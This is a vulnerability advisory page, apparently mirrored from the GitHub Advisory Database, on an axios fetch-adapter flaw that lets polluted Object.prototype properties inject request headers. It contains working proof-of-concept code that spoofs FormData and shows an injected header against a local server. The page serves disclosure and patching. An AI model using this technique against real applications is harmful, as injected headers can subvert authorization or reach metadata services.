Media

Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders

  • Publicada: 30.09.2026
  • Actualizado: 11.10.2026 10:22

Summary

Axios contains a guard in the Node HTTP adapter to avoid using an inherited Object.prototype.getHeaders as a FormData header source. The fetch adapter calls the shared resolveConfig() helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes Object.prototype with FormData-like properties and getHeaders(), the fetch adapter can merge attacker-controlled headers into the outbound request.

Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.

Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.

Affected Functionality

Affected:

  • Fetch adapter requests.
  • resolveConfig() handling of utils.isFormData(data).
  • Request bodies that can be spoofed as FormData through inherited Symbol.toStringTag, append, and getHeaders.

Not affected:

  • Node HTTP adapter's later FormData header path, which checks data.getHeaders !== Object.prototype.getHeaders.
  • Plain object request bodies rejected by current isFormData() plain-object guard.
  • Processes without prototype pollution.

Technical Details

lib/helpers/resolveConfig.js currently contains:

js
if (utils.isFormData(data)) {
  if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {
    headers.setContentType(undefined);
  } else if (utils.isFunction(data.getHeaders)) {
    setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
  }
}

Unlike lib/adapters/http.js, this code does not reject Object.prototype.getHeaders. Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders, then sent an array body with adapter: 'fetch'. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

js
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });

await axios.post(url, ['a', 'b'], { adapter: 'fetch' });

Expected safe behavior is that inherited Object.prototype.getHeaders is ignored. Current affected behavior merges the returned header.

Workarounds

Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.

<details> <summary><h3>Original report</h3></summary>

Summary

The Node HTTP adapter contains a guard that prevents Object.prototype.getHeaders from being used as a FormData header source. The shared resolveConfig() helper does not have the same guard. The fetch adapter calls resolveConfig(), so it can still merge headers returned by inherited data.getHeaders().

This is a patch mismatch for the FormData prototype-pollution header-injection class.

Affected Version

Validated on:

  • axios: 1.17.0
  • commit: 4306df2
  • runtime: Node.js v24.15.0

Preconditions

  • Application uses adapter: 'fetch'.
  • A separate prototype-pollution primitive can write:
    • Object.prototype[Symbol.toStringTag] = 'FormData'
    • Object.prototype.append = function () {}
    • Object.prototype.getHeaders = function () { ... }
  • The request body is an array or custom class instance. Plain objects are blocked by the current isFormData() plain-object guard.

Root Cause

lib/adapters/http.js contains:

js
data.getHeaders !== Object.prototype.getHeaders

But lib/helpers/resolveConfig.js only checks:

js
} else if (utils.isFunction(data.getHeaders)) {
  setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}

The fetch adapter calls resolveConfig(config) before dispatching the request.

Impact

An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.

Proof of Concept

js
import axios from './index.js';
import http from 'http';

const start = (handler) => new Promise((resolve) => {
  const server = http.createServer((req, res) => {
    let body = '';
    req.on('data', (chunk) => (body += chunk));
    req.on('end', () => handler(req, res, body));
  });
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];
const tag = Symbol.toStringTag;

const server = await start((req, res, body) => {
  hits.push({ headers: req.headers, body });
  res.setHeader('Content-Type', 'application/json');
  res.end('{"ok":true}');
});

try {
  Object.prototype[tag] = 'FormData';
  Object.prototype.append = function () {};
  Object.prototype.getHeaders = () => {
    const headers = Object.create(null);
    headers['X-Poisoned'] = 'yes';
    return headers;
  };

  await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {
    adapter: 'fetch',
    timeout: 3000
  });

  console.log(hits[0]);
} finally {
  delete Object.prototype[tag];
  delete Object.prototype.append;
  delete Object.prototype.getHeaders;
  await stop(server);
}

Observed wire request:

js
{
  "headers": {
    "x-poisoned": "yes",
    "content-type": "text/plain;charset=UTF-8",
    "content-length": "3"
  },
  "body": "a,b"
}

References

</details>

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm axios >= 1.12.0, < 1.20.0 1.20.0

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N
Debilidad (CWE)
CWE-1321, CWE-693, CWE-74
Plataforma
npm
Paquete
axios
Publicada
30.09.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-4hqw-qxg8-jxx2 - CC BY 4.0

Historial de vulnerabilidades: axios

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (55) en el archivo
Entradas en total
55
Primera → última
05.2019 09.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 25
  • Media 28
  • Baja 2

Divulgaciones por año

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 0
  5. 2023: 1
  6. 2024: 1
  7. 2025: 2
  8. 2026: 48
Gravedad:
  1. Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders esta entrada
    Media CVE-2026-101900 >= 1.12.0, < 1.20.0 1.20.0
  2. Alta CVE-2026-101909 >= 0.28.0, < 0.34.0, >= 1.15.1, < 1.20.0 0.34.0, 1.20.0
  3. Alta CVE-2026-101898 >= 1.13.0, < 1.20.0 1.20.0
  4. Alta CVE-2026-67320 >= 0.31.1, < 0.33.0, >= 1.15.2, < 1.18.0 0.33.0, 1.18.0
  5. Alta · 7.5 CVE-2026-44496 >= 1.0.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  6. Alta · 7.5 CVE-2026-44488 >= 1.7.0, < 1.16.0 1.16.0
  7. Alta · 7.5 CVE-2026-44486 >= 1.0.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  8. Alta · 7.0 CVE-2026-44495 >= 1.0.0, < 1.15.2, >= 0.19.0, < 0.31.1 1.15.2, 0.31.1
  9. Alta · 7.4 CVE-2026-42033 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  10. Alta · 7.4 CVE-2026-42035 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  11. Alta · 7.5 CVE-2026-25639 >= 1.0.0, < 1.13.5, < 0.30.3 1.13.5, 0.30.3
  12. Alta · 7.5 CVE-2025-58754 >= 1.0.0, < 1.12.0, >= 0.28.0, < 0.30.2 1.12.0, 0.30.2
  13. Alta CVE-2025-27152 >= 1.0.0, < 1.8.2, < 0.30.0 1.8.2, 0.30.0
  14. Alta CVE-2024-39338 >= 1.3.2, < 1.7.4 1.7.4
  15. Alta · 7.5 CVE-2021-3749 < 0.21.2 0.21.2
  16. Alta · 7.5 CVE-2019-10742 < 0.18.1 0.18.1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.